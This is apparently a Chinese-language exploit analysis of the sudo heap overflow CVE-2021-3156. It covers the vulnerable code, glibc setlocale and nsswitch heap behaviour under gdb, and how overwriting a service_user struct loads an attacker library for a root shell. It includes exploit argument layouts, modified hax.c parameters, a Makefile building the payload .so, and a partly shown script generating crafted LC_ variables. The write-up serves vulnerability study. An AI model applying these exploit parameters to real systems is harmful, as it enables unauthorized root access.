1 漏洞说明
参考链接:
官方说明
官方说明txt版本
CVE-2021-3156 sudo漏洞分析与利用
CVE-2021-3156 sudo 提权漏洞复现与分析
Exploit Writeup for CVE-2021–3156 (Sudo Baron Samedit)
参考exp
所有的分析都是在有tcachebin的情况下,因此要求libc版本大于2.25!!!
影响版本:
- 1.9.0 <= Sudo <= 1.9.5 p1 所有稳定版(默认配置)
- 1.8.2 <= Sudo <= 1.8.31 p2 所有老版本
漏洞是堆溢出,而堆溢出的说明其实在官方文档里做了详细的源码解释,我这边简单概括一下。
1.漏洞点在源码文件sudo\plugins\sudoers\sudoers.c
的set_cmnd方法中。
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))//漏洞点
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
通过执行sudoedit -s <argv1> <argv2>
可以既满足if的条件,又可以在参数中任意插入'\'
,从而进入到存在漏洞的for循环。
- 1.NewArgv是字符串指针数组,也就是NewArgv[1]指向的是
argv1
(PS:NewArgv[0]指向的命令本身,同char *argv[]); - 2.user_args是在堆中申请的内存块(chunk),用于将NewArgv数组中的字符串拼接起来,去掉转义字符(漏洞点),不同参数之间以空格分隔(PS:这点请注意,后面有用)。
- 3.NULL并不在函数
isspace
检测范围内; - 4.NewArgv指向的字符串在栈中是连续存放的,并且参数之后就是环境变量;
根据代码可以知道,在sudoedit -s参数的末尾使用'\'
,当from
指向\
时,from[1]指向NULL字节,from[2]指向的就是环境变量的第一个字节了,执行*too=*from++
,可以将后面的NULL字节拷贝到user_args
的堆中,且让from++
,从而避开了while(*from)
判断是否读到NULL字节的检测,由于参数后面紧跟环境变量的值,因此通过设置环境变量的值来覆盖user_args堆后面的数据。
2.堆溢出要覆盖的结构体是service_user
(PS:这个是官方文档中提到的方法中的一个,也是我仅会的一个)
//glibc-2.31\nss\nsswitch.h
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
//glibc-2.31\nss\nsswitch.c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);//拼接so文件名
ni->library->lib_handle = __libc_dlopen (shlib_name);//加载so文件
如果serviceuser只有service_user.name
存在值,那么最后会加载
libnss<service_user.name>.so。
参考exp中将name覆盖为X/P0P_SH3LLZ_
因此加载的so文件为:libnss_X/P0P_SH3LLZ_.so
,但实际不是,可以看Makefile,生成的so文件是'libnss_X/P0P_SH3LLZ_ .so.2'
,多了一个空格。
参考文档中也都提到了通过setlocale
方法配合设置的LC_系列的环境变量,能够让分配给user_args
的chunk在service_user
使用的chunk前面,再利用堆溢出覆盖,从而达到任意so加载,也就执行任意命令,命令中执行/bin/bash即可获取root的shell,所以离提权也就剩最后亿步了。
2 环境准备
选择了参考exp中的环境Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
- 1.获取sudo源码,源码直接下载至当前文件夹。
sudo apt source sudo
- 2.安装可调试的glibc(PS:这一步如果你安装了pwndbg,其实就已经完成了)
sudo apt install libc6-dbg sudo apt install libc6-dbg:i386
- 3.获取glibc源码
sudo apt source libc6-dev
- 4.确定偏移
由于没有安装sudo的调试版本,因此需要确定一下漏洞点的偏移,想定位的点为malloc调用(为user_args分配堆空间的地方)。知道这段代码是在sudoers.so(已经不记得哪篇文章里看到的,并不是自己分析出来的)。
定位方法比较简单,运气成分居多,首先在源码找到漏洞点,这个搜索set_cmnd
函数即可,然后在函数中看到字符串"command too long"
,之后在IDA中搜索该字符串,引用该字符串的只有这一个函数(分析已经重命名过了)
之后就是F5大法,慢慢看了,最终找到的malloc调用的地方,偏移0x23133
。
除了确定这个偏移,还需要确定sudoedit何时加载的sudoers.so,只有加载之后才能在sudoers.so中设置断点。
仍然没有什么好方法,纯运气,sudoedit拖入IDA,搜索关键字sudoers.so
虽然有两处引用,但是都在同一个函数里(分析已经重命名过了),再查看该函数的引用,就是在main函数中。
所以在调用该函数的地方下个断点,运行过该函数之后,sudoers.so就加载进入内存了,之后就可以去malloc调用的点下断点。函数调用偏移为0x6d8e
。
3 setlocale函数
此函数跟漏洞点无关,但是跟堆布局有关,想要完全了解可以去看源码,代码在glibc源码中,配合gdb的源码调试会比较清楚。
全局变量_nl_global_locale
,主要关注其__names
成员。
栗子:
__names
是一个数组,长度为13,下标值在代码中称为category
,不同category
值表示含义如下所示
//glibc-2.31\locale\locale.h
#define LC_CTYPE __LC_CTYPE
#define LC_NUMERIC __LC_NUMERIC
#define LC_TIME __LC_TIME
#define LC_COLLATE __LC_COLLATE
#define LC_MONETARY __LC_MONETARY
#define LC_MESSAGES __LC_MESSAGES
#define LC_ALL __LC_ALL
#define LC_PAPER __LC_PAPER
#define LC_NAME __LC_NAME
#define LC_ADDRESS __LC_ADDRESS
#define LC_TELEPHONE __LC_TELEPHONE
#define LC_MEASUREMENT __LC_MEASUREMENT
#define LC_IDENTIFICATION __LC_IDENTIFICATION
//glibc-2.31\locale\bits\locale.h
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
除了LC_ALL,其余可以看成是单独的项。
如果其余的值一样,比如都是C.UTF-8
,那么LC_ALL的值也是C.UTF-8
。
如果不是完全一样,那么LC_ALL的值就是LC_CTYPE=.....;LC_NUMERIC=...;....LC_IDENTIFICATION=....
3.1 setlocale(LC_ALL,””)
//glibc-2.31\locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
int category, const char **name)
{
int mask;
/* Name of the locale for this category. */
const char *cloc_name = *name;
const char *language;
const char *modifier;
const char *territory;
const char *codeset;
const char *normalized_codeset;
struct loaded_l10nfile *locale_file;
if (cloc_name[0] == '\0')
{
/* The user decides which locale to use by setting environment
variables. */
cloc_name = getenv ("LC_ALL");
if (!name_present (cloc_name))
cloc_name = getenv (_nl_category_names_get (category));
if (!name_present (cloc_name))
cloc_name = getenv ("LANG");
if (!name_present (cloc_name))
cloc_name = _nl_C_name;
}
-
cloc_name
的值来源是先读取环境变量LC_ALL,若没有再根据category的值去读取对应的环境变量,exp代码都是通过环境变量来控制cloc_name
的,因此cloc_name
的值最初就是来源于设置的环境变量,且cloc_name
的值最终会拷贝至堆块
,并将字符串指针存入_nl_global_locale.__names
。 - 函数
_nl_find_locale
设置的是除LC_ALL以外的其他category的值,LC_ALL的值是由new_composite_name
函数确定,逻辑是之前说的。 - setlocale(LC_ALL,””)函数在我们视角里需要知道的就是会通过环境变量的值来设置
_nl_global_locale.__names
,并且里面的字符串都是在堆中的。 - 设置LC_的值是从尾部开始的,也就是category的值是从12~0来遍历的(跳过6,即LC_ALL)。
3.2 setlocale(LC_ALL,NULL)
返回_nl_global_locale.__names
中LC_ALL对应的值。
//glibc-2.31\locale\setlocale.c
char *
setlocale (int category, const char *locale)
{
char *locale_path;
size_t locale_path_len;
const char *locpath_var;
char *composite;
/* Sanity check for CATEGORY argument. */
if (__builtin_expect (category, 0) < 0
|| __builtin_expect (category, 0) >= __LC_LAST)
ERROR_RETURN;
/* Does user want name of current locale? */
if (locale == NULL)
return (char *) _nl_global_locale.__names[category];
3.3 setlocale(LC_ALL,”C”)
先申明一下”C”是_nl_global_locale.__names
的默认值或者说是初始值,在代码中以_nl_C_name
表示。setlocale(LC_ALL,"C")
执行结果是将_nl_global_locale.__names
的值都变成指向字符串"C"
的指针。
//glibc-2.31\locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
int category, const char **name)
{
int mask;
/* Name of the locale for this category. */
const char *cloc_name = *name;
const char *language;
const char *modifier;
const char *territory;
const char *codeset;
const char *normalized_codeset;
struct loaded_l10nfile *locale_file;
if (cloc_name[0] == '\0') //此时if条件不满足,因为cloc_name[0]='C'
{
/* The user decides which locale to use by setting environment
variables. */
cloc_name = getenv ("LC_ALL");
if (!name_present (cloc_name))
cloc_name = getenv (_nl_category_names_get (category));
if (!name_present (cloc_name))
cloc_name = getenv ("LANG");
if (!name_present (cloc_name))
cloc_name = _nl_C_name;
}
/* We used to fall back to the C locale if the name contains a slash
character '/', but we now check for directory traversal in
valid_locale_name, so this is no longer necessary. */
if (__builtin_expect (strcmp (cloc_name, _nl_C_name), 1) == 0 //cloc_name==_nl_C_name,条件满足
|| __builtin_expect (strcmp (cloc_name, _nl_POSIX_name), 1) == 0)
{
/* We need not load anything. The needed data is contained in
the library itself. */
*name = _nl_C_name;
return _nl_C[category];
}
再看一下设置_nl_global_locale.__names
的代码,此处的name与上述代码的name不是同一个变量,但是指向的字符串内容是一样的,并且setname函数中的name是指向堆的(例外就是指向_nl_C_name
,是个全局变量),每次修改_nl_global_locale.__names
的值,会将原先的chunk进行free。
//glibc-2.31\locale\setlocale.c
static void
setname (int category, const char *name)
{
if (_nl_global_locale.__names[category] == name)
return;
if (_nl_global_locale.__names[category] != _nl_C_name)
free ((char *) _nl_global_locale.__names[category]);
_nl_global_locale.__names[category] = name;
}
3.4 setlocale(LC_ALL,”xxx”)
如果”xxx”是一个正常值,那么就是会分析出xxx是否存在分号来判断是设置全部LC_的值为同一个还是各自设置的不一样。
如果存在;
,那么”xxx”的结构应该是如LC_CTYPE=.....;LC_NUMERIC=...;....LC_IDENTIFICATION=....
。
看下setlocale函数中的代码
//in function setlocale
if (__glibc_unlikely (strchr (locale, ';') != NULL)) //locale等于传入的“xxx”,比如“LC_CTYPE=c.utf8”
{
/* This is a composite name. Make a copy and split it up. */
locale_copy = __strdup (locale);
if (__glibc_unlikely (locale_copy == NULL))
{
__libc_rwlock_unlock (__libc_setlocale_lock);
return NULL;
}
char *np = locale_copy;
char *cp;
int cnt;
while ((cp = strchr (np, '=')) != NULL) //此时np指向"L",cp指向"="
{
for (cnt = 0; cnt < __LC_LAST; ++cnt)
if (cnt != LC_ALL
&& (size_t) (cp - np) == _nl_category_name_sizes[cnt]//cp-np就是LC_CTYPE的长度:8,_nl_category_name_sizes则是根据cnt来获取不同LC_的名称的长度,如果长度一样则再进行字符串比较。
&& (memcmp (np, (_nl_category_names_get (cnt)), cp - np)
== 0))
break;
if (cnt == __LC_LAST)
{
error_return:
__libc_rwlock_unlock (__libc_setlocale_lock);
free (locale_copy);
/* Bogus category name. */
ERROR_RETURN; //如果都不匹配,则直接退出
}
经过以上分析,也就解答了Exploit Writeup for CVE-2021–3156 (Sudo Baron Samedit)中说的
这里稍作解释,参考文章中提出的setlocale调用参数的顺序是在sudoedit执行过程中调用setlocale的顺序,而截图中省略的第一个参数都是LC_ALL。
- 1.setlocale(LCALL,””):根据环境变量LC系列的值设置
_nl_global_locale.__names
,此时里面包含;x=x
并不会被检测到。 - 2.saved_LC_ALL = setlocale(LC_ALL,NULL):读取LC_ALL的值,里面包含了
;x=x
- 3.setlocale(LC_ALL,”C”):将
_nl_global_locale.__names
中存储的堆区的字符串指针都释放了,值都变成了_nl_C_name
的地址。 - 4.setlocale(LC_ALL,saved_LC_ALL):由于saved_LC_ALL中存在
;x=x
,导致直接返回,因此未修改_nl_global_locale.__names
。 - 5.再次执行saved_LC_ALL = setlocale(LC_ALL,NULL):saved_LC_ALL=”C”,因此之后LC_ALL的值都会是”C”了,因为后面不会再执行setlocale(LC_ALL,””)。
4 service_user结构体的创建
具体调用链也是直接通过参考文章获得的,下面是参考文章Exploit Writeup for CVE-2021–3156 (Sudo Baron Samedit)中的截图
需要关注的函数分别是nss_parse_file、nss_getline、nss_parse_service_list。
4.1 nss_parse_file
解析的文件是/etc/nsswitch.conf,在ubuntu上的文件内容为
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.
passwd: files systemd
group: files systemd
shadow: files
gshadow: files
hosts: files mdns4_minimal [NOTFOUND=return] dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis
至少记住前两行(passwd和group)
梳理一下nss_parse_file关键的代码
//glibc-2.31\nss\nsswitch.c
static name_database *
nss_parse_file (const char *fname)
{
FILE *fp;
name_database *result;
name_database_entry *last;
char *line;
size_t len;
result = (name_database *) malloc (sizeof (name_database)); //申请chunk大小为0x20
do
{
name_database_entry *this;
ssize_t n;
n = __getline (&line, &len, fp); //默认申请0x80的chunk用于读取每行的值。
if (n < 0)
break;
if (line[n - 1] == '\n')
line[n - 1] = '\0';
/* Because the file format does not know any form of quoting we
can search forward for the next '#' character and if found
make it terminating the line. */
*__strchrnul (line, '#') = '\0'; //注释的行直接跳过
/* If the line is blank it is ignored. */
if (line[0] == '\0')
continue;
/* Each line completely specifies the actions for a database. */
this = nss_getline (line); //有效行进入nss_getline
if (this != NULL)
{
if (last != NULL)
last->next = this;
else
result->entry = this;
last = this;
}
}
while (!__feof_unlocked (fp));
free (line); //释放line,会释放一个0x80的chunk,在大于glibc-2.25的情况下,大概率放入tcachebins
fclose (fp);
return result;
}
4.2 nss_getline
//glibc-2.31\nss\nsswitch.c
static name_database_entry *
nss_getline (char *line)
{
const char *name;
name_database_entry *result;
size_t len;
/* Ignore leading white spaces. ATTENTION: this is different from
what is implemented in Solaris. The Solaris man page says a line
beginning with a white space character is ignored. We regard
this as just another misfeature in Solaris. */
while (isspace (line[0]))
++line;
/* Recognize `<database> ":"'. */
name = line;
while (line[0] != '\0' && !isspace (line[0]) && line[0] != ':')//line指到空格或者":"
++line;
if (line[0] == '\0' || name == line)
/* Syntax error. */
return NULL;
*line++ = '\0';//以第一行为例,此时*name="passwd"
len = strlen (name) + 1;
result = (name_database_entry *) malloc (sizeof (name_database_entry) + len);//sizeof(name_database_entry)=0x10,最后申请到chunk的大小根据len的长度确定。
if (result == NULL)
return NULL;
/* Save the database name. */
memcpy (result->name, name, len);//result->name的值就是每行开头的词
/* Parse the list of services. */
result->service = nss_parse_service_list (line);//此处就会创建service_user结构体,并且line已经指向":"后面的字符了
result->next = NULL;
return result;
}
附带上name_database_entry
结构体声明
//glibc-2.31\nss\nsswitch.h
typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next;
/* List of service to be used. */
service_user *service;
/* Name of the database. */
char name[0];
} name_database_entry;
每一行冒号前面的单词会对应一个name_database_entry
结构体,结构体包含两个指针以及一个字符数组。两个指针固定为0x10大小,当单词的长度小于8字节(算上结束字符最多8字节)的时候,申请的chunk大小仅为0x20。
原理是:
前面0x10是chunk本身的prev_size
和size
后面0x10是name_database_entry
结构体的两个指针,分别是service
和next
。
而name
就会占用后面chunk的prev_size
字段,因为当前chunk在使用时,紧跟着的chunk的prev_size是无效字段,因此可以被前一个chunk所占用,所以当单词的长度小于8字节时,可以仅申请0x20
大小的chunk。
PS:但是存在特殊情况,比如剩余的空闲chunk大小为0x30,那么不会拆分0x20大小的chunk,而是直接分配0x30的chunk,因为如果拆分0x20的chunk,剩余大小为0x10,并不能形成一个新的chunk。重点!后面要考!!
4.3 nss_parse_service_list
//glibc-2.31\nss\nsswitch.c
static service_user *
nss_parse_service_list (const char *line)
{
service_user *result = NULL, **nextp = &result;
while (1)
{
service_user *new_service;
const char *name;
while (isspace (line[0]))
++line;//跳过空字符
if (line[0] == '\0')
/* No source specified. */
return result;
/* Read <source> identifier. */
name = line;
while (line[0] != '\0' && !isspace (line[0]) && line[0] != '[')//找寻第一个单词,不同单词通过空格分隔
++line;
if (name == line)
return result;
new_service = (service_user *) malloc (sizeof (service_user)
+ (line - name + 1));//申请了用于存放service_user结构体的堆内存。
附带上service_user结构体声明
//glibc-2.31\nss\nsswitch.h
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
不算name
字段,也就是sizeof(service_user)=0x30
,那么申请chunk大小计算原理同name_database_entry
一样,当name的长度小于等于8,可仅申请0x40大小的chunk。而/etc/nsswitch.conf中大多数单词长度都是小于8的。
4.4 需要覆盖的service_user结构体
根据参考文档中描述的,当调用完set_cmnd
函数后,紧跟着执行的nss_load_library(servcie_user *ni)时,ni是指向的group行的第一个单词对应的service_user结构体,也就是files,当然有些参考文档中写去内存中查找systemd字符串,这样其实覆盖的长度就大了,具体因配置文件而异。
group: files systemd
5 参考exp的堆布局
大体分为三部分
- 1.setlocale:进行chunk占用并释放。
- 2.nss_parse_file:调整堆布局,并构造好service_user结构体。
- 3.漏洞利用点,申请到我们想要的chunk,进行堆溢出覆盖service_user。
exp代码中通过execve执行的命令类似于env -i LC_ALL=C.UTF-8@+"C"*212 sudoedit -s 56*'A'+'\' '\' 54*'B'+'\'
5.1 setlocale部分
开启调试
sudo gdb -q --args ./sudo-hax-me-a-sandwich 1
gdb命令
pwndbg> directory ../glibc-2.31/locale pwndbg> directory ../glibc-2.31/nss b execve r b setlocale c
下面的调用流程就是不断执行continue命令看到的顺序。
5.1.1 setlocale(LC_ALL,””)代码中设置的LCALL=C.UTF-8@+”C”*212。
所以LC申请的chunk的data部分大小是8+212+1=221=0xdd,再加上chunk的头部prevsize和size,因此chunk大小是0xed,再地址对齐,最终chunk大小是0xf0。
执行到下一个setlocale函数执行前,查看当前setlocale执行后的结果。
这次是在堆中申请空间存储各LC的值,并将字符串指针存入_nl_global_locale.__names
。
所有的chunk大小都为0xf0,可以自行查看。
记录下每个chunk的data部分的指针地址。LC_CTYPE = 0x55dab3d18da0 LC_NUMERIC = 0x55dab3d18180 LC_TIME = 0x55dab3d177f0 LC_COLLATE = 0x55dab3d169a0 LC_MONETARY = 0x55dab3d15fb0 LC_MESSAGES = 0x55dab3d15610 LC_ALL = 0x55dab3d18e90 LC_PAPER = 0x55dab3d14180 LC_NAME = 0x55dab3d13810 LC_ADDRESS = 0x55dab3d12f00 LC_TELEPHONE = 0x55dab3d12540 LC_MEASUREMENT = 0x55dab3d11bb0 LC_IDENTIFICATION = 0x55dab3d103e0
执行过后查看bins的情况。
unsortedbin有未显示完的,只能单独看了。
此时_nl_global_locale.__names
都是C了。
简述下过程,由于将LC_ALL
都设置为”C”,从LC_CTYPE
开始依次释放,但是会跳过LC_ALL
,LC_ALL
是最后释放的。由于tcachebin的大小为7,所以是LC_CTYPE
(tcache尾部)~LC_PAPER
(tcache头部)。
而剩余的释放之后其实是进入fastbin的,但由于是在下一个setlocale执行前查看的bins,中间经过了malloc的调用,当申请的chunk未在fastbin中直接获取,会将fastbin中的chunk放入unsortedbin,也就是我们查看到的效果了。
一个较大的bin之后也是会用到的,因此这里记录下其chunk的首地址:0x55dab3d19100
5.1.4 setlocale(LC_ALL,saved_LC_ALL)
LC_的各值又重新被赋值为”C.UTF-8@CCC..”,查看_nl_global_locale.__names
的值。
LC_CTYPE = 0x55dab3d12540
LC_NUMERIC = 0x55dab3d11bb0
LC_TIME = 0x55dab3d103e0
LC_COLLATE = 0x55dab3d18e90
LC_MONETARY = 0x55dab3d12f00
LC_MESSAGES = 0x55dab3d18da0
LC_ALL = 0x55dab3d19220
LC_PAPER = 0x55dab3d18180
LC_NAME = 0x55dab3d177f0
LC_ADDRESS = 0x55dab3d169a0
LC_TELEPHONE = 0x55dab3d15fb0
LC_MEASUREMENT = 0x55dab3d15610
LC_IDENTIFICATION = 0x55dab3d14180
可以发现基本还是原先的chunk,不过位置变了,但是LC_ALL使用的chunk是之前不存在的,而原先LC_NAME的chunk不见了。
简述下过程:
- 1.在给各个LC_的值分配chunk之前,先申请过一个0x110大小的chunk(具体在哪已经忘记了),此时会从unsortedbin中寻找,那个较大的chunk就被切割分配出去了,剩余部分放入largebin,unsortedbin中其他的则都是进入smallbin中(0xf0大小)。
- 2.又申请了0x20大小的chunk,此时从smallbin中取一个chunk(LC_NAME)进行分割,剩余0xd0的放入unsortedbin。
- 3.之后申请0xf0的chunk,会先从tcachebin中取,取完之后去unsortedbin中查看,发现没有可用的,将0xd0的chunk放入smallbin,然后去smallbin的0xf0列表中取,但是最终会少一个0xf0大小的chunk给LC_ALL。
- 4.从largebin中分割一块给LC_ALL,剩余的放入unsortedbin。
之前较大的chunk首地址是:0x55dab3d19100
,加上0x110,则对应chunk地址是0x55dab3d19210
,所以data部分地址是0x55dab3d19220
,与我们看到的结果一致,剩余放入unsortedbin的首地址就是0x55dab3d19210+0xf0=0x55dab3d19300
。
查看下当前bins。
获取LC_ALL的值,同上。
又会把那些chunk释放出来。
5.1.7 setlocale(LC_ALL,saved_LC_ALL)
此处是nss_parse_file函数执行前最后一次调用setlocale,需要在后续继续设置断点,断点含义下节说明。
pwndbg>b nsswitch.c:576
pwndbg>b nsswitch.c:790
pwndbg>b nsswitch.c:641
此时又会重新申请掉那些0xf0大小的chunk,此时因为现在tcachebin中有最初从LC_NAME中分割的0x20大小的chunk,不会再切割0xf0大小的chunk了,所以还是那些chunk,只是顺序改变。
5.2 nss_parse_file部分
解释上节断点的设置。
//glibc-2.31\nss\nsswitch.c
576:n = __getline (&line, &len, fp);//在nss_parse_file函数中,每次读取一行配置文件/etc/nsswitch.conf的内容。
790:result = (name_database_entry *) malloc (sizeof (name_database_entry) + len);//在nss_getline函数中,为每个有效行的冒号前面的单词对应一个name_database_entry结构体。
641:new_service = (service_user *) malloc (sizeof (service_user)//为每行冒号后的每个单词生成一个service_user结构体。
下面跟踪主要是堆块的申请,仅跟踪到group行分配的第一个service_user为止,因为这个结构体就是漏洞点堆溢出要覆盖的。
5.2.1 为读取/etc/nsswitch.conf每行数据申请一个chunk
第一次执行__getline之前,line是NULL
执行过后
会分配一个0x80大小的chunk,之后就用这个chunk来存储每次读取到的一行的数据。该chunk是从那个较大的chunk中分割出来的,首地址是0x55dab3d19300
。
剧透一下,后续user_args
申请的chunk就是现在0x55dab3d19300
这块,而group行申请的第一个service_user结构体所使用的chunk就是紧跟之后的,首地址是0x55dab3d19380
。
之后一直执行到line读取到第一个有效行,也就是passwd行。
5.2.2 passwd行申请name_database_entry
申请data部分长度是0x17(0x10+passwd字符串长度为7)
查看当前bins
按照之前的理论,0x17仅需分配0x20大小的chunk,现在tcachebins和fastbins中都不存在正好的,unsortedbin为空,所以会去取smallbin中0xd0大小的chunk(之前从LC_NAME的chunk中分割出来的)进行分割,剩余的放入unsortedbin。
malloc执行之后的bins布局。
当赋值完之后,查看一下name_database_entry结构体内容。
pwndbg> p *(struct name_database_entry*)(0x55dab3d13830)
5.2.3 passwd行申请第一个service_user结构体
申请大小为0x36(0x30+files字符串长度为6),根据理论仅需要0x40大小的chunk即可。
分配之前的bins布局。
tcachebin和fastbin没有正好0x40大小的chunk,而unsortedbin中存在一个chunk,且大小足以满足,因此从该chunk中切割出0x40进行分配,剩余的继续留在unsortedbin中。
分配的service_user的首地址是0x55dab3d13850,查看分配之后的bins布局。
pwndbg> p *(struct service_user*)(0x55dab3d13850)
5.2.4 passwd行申请第二个service_user结构体
第二个单词为systemd,字符串长度为8,对应的chunk大小仍然为0x40。因此还是从之前的unsortedbin中分割。
直接查看结果。
分配之后的bins布局,需要注意的是unsortedbin中剩余的chunk大小为0x30了。
5.2.5 group行name_database_entry
malloc申请的大小为0x16,一般0x20的chunk即可满足,但是tcachebin和fastbin中不存在相应大小的chunk,再次去unsortedbin中,而unsortedbin中剩余的chunk仅0x30大小,切割0x20大小出来,剩余0x10无法形成一个chunk,因此整个0x30都分配出去了。
分配前的bins布局
分配后name_database_entry结构体的地址
查看chunk大小
分配后的bins布局,unsortedbin清空了。
查看name_database_entry
5.2.6 group行申请第一个service_user结构体
malloc申请0x36,对应chunk为0x40。
分配前的bins布局
tcachebin和fastbin中不存在0x40大小的chunk,unsortedbin为空,因此从largebins中切割一块出来,而largebins中这块chunk之前是为了给读取每行数据时,申请0x80的chunk所切割出来的,也就是说group行的第一个service_user结构体在内存空间上是紧跟在line所在chunk的后面的。
而nss_parse_file的最后,会执行free(line)的操作,因此后续只要在申请user_args时,申请到line释放的chunk,就可以覆盖service_user的结构体了。
line对应chunk首地址是:0x55dab3d19300
service_user对应chunk首地址是:0x55dab3d19380
5.3 漏洞利用
设置断点:加载sudoers.so
查看line以及service_user结构体的内容:
执行断点处函数调用,查看sudoers.so的基址,再在malloc出设置断点。
执行到malloc处,申请data大小为0x74,对应chunk为0x80
分配前的bins布局,可以看到之前为line申请的chunk在tcachebin的0x80列表处,也就是user_args申请会获得这块chunk。
分配之后进行堆溢出,覆盖service_user结构体即可。
在nss_load_library处设置断点。
继续运行,查看nss_load_library函数中的ni参数,地址是group行的第一个service_user结构体地址。
查看现在结构体的值,已经被覆盖为我们要的结果,但是发现多了一个空格。
查看覆盖的name之后的值,发现了54个B
下面来做一下计算题。
首先for循环将NewArgv字符串数组中的数据复制到userargs中,通过空格分隔。
NewArgv[1] = 56‘A’+’\’,总长度为58。
NewArgv[2] = ‘\’,总长度为2。
NewArgv[3] = 54‘B’+’\’,总长度为56。
user_args需要的长度就是58+2+56=0x74(与调试情况一致)。
当从NewArgv[1]的数据拷贝至user_args时,由于每个参数最后都是\,因此已经完成了name的覆盖,此时*to指向的是`X/POP_SH3LLZ`后面一个字节。之后for循环去拷贝NewArgv[2],但是会先往*to的地方写入一个空格,这就是空格的由来,而NewArgv[2]是”\“,所以写入NULL作为结束字符,之后又去拷贝NewArgv[3],也就是name属性之后出现的54个B。
5.4总结
LC_ALL=C.UTF-8@+212*’c’,长度为221,十六进制是0xdd,再加上chunk头0x10,申请的chunk大小为0xf0。
通过
1.申请13个0xf0大小的chunk
2.释放该13个chunk
3.穿插申请0x20大小的chunk,从而使得分割一个0xd0大小的chunk进入smallbin。
在为line申请一个0x80大小的chunk时,有一个较大chunk在unsortedbin,切割一部分出来后进入largebin中。之后申请了两个name_database_entry(大小分别是0x20,0x30)以及两个service_user(大小均是0x40),合并起来大小为0xd0,正好消耗掉smallbin中的0xd0大小的chunk,从而使得我们要覆盖的service_user结构体所使用的chunk是继续从largebin中的chunk分割而来。而前一部分0x80大小的chunk会被释放进入tcachebin。
user_args的大小根据sudoedit参数配置,正好申请的是0x80大小的chunk,因此只要保证user_args的大小是0x80,且最后一个符号是\
即可。
最后要覆盖的长度是user_args的数据部分0x70
service_user的name属性前的大小是0x30+chunk的头部0x10,所以最终是0xb0=176字节。
覆盖的数据是
56个A加一个\
=57个字节
一个\
=1个字节
54个’B’加一个\
= 55个字节
63个\
= 63个字节
相加等于176字节,最后覆盖name属性。
因此我们知道sudoedit -s 后面的参数没有必要分多个,只需要一个且最后符号是\即可。
尝试一下修改hax.c
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 0,
.smash_len_b = 112,//只使用B,并且要保证len_b+2能申请到0x80的chunk,且len_b+1+null_stomp_len=176即可
.null_stomp_len = 63,
.lc_all_len = 212
},
char *s_argv[]={
"sudoedit", "-s", smash_b, NULL
};
再修改Makefile,去除.so前的空格
//Makefile
all:
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_.so.2' lib.c
brute: all
gcc -DBRUTE -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_.so.2' lib.c
clean:
rm -rf libnss_X sudo-hax-me-a-sandwich
本地测试通过。
6 另一个堆布局思路
利用在环境变量中加入;x=x
,使得释放后的chunk不会再被申请,因为LCALL的值之后都是”C”了,通过之前的调试知道需要覆盖的service_user结构体使用的chunk大小为0x40,那么先将除了LC_ALL的其他LC环境变量都设置为需要0x40大小的chunk的值。
一个py脚本方便生成环境变量:
#encoding:utf-8
LC_LEN = {
"LC_CTYPE":0x40,
"LC_NUMERIC":0x40,
"LC_TIME":0x40,
"LC_COLLATE":0x40,
"LC_MONETARY":0x40,
"LC_MESSAGES":0x40,
"LC_PAPER":0x40,
"LC_NAME":0x40,
"LC_ADDRESS":0x40,
"LC_TELEPHONE":0x40,
"LC_MEASUREMENT":0x40,
"LC_IDENTIFICATION":0x40
}
def getdata(key,length):
default_data = "C.UTF-8@;x=x"
data_len = length-0x10
data = default_data+"A"*(data_len-len(default_data)-len(key)-1)+key
return data
def main():
LEN_DATA = {}
for key in LC_LEN:
data = getdata(key,LC_LEN[key])
print("\"%s=%s\"," % (key,data))
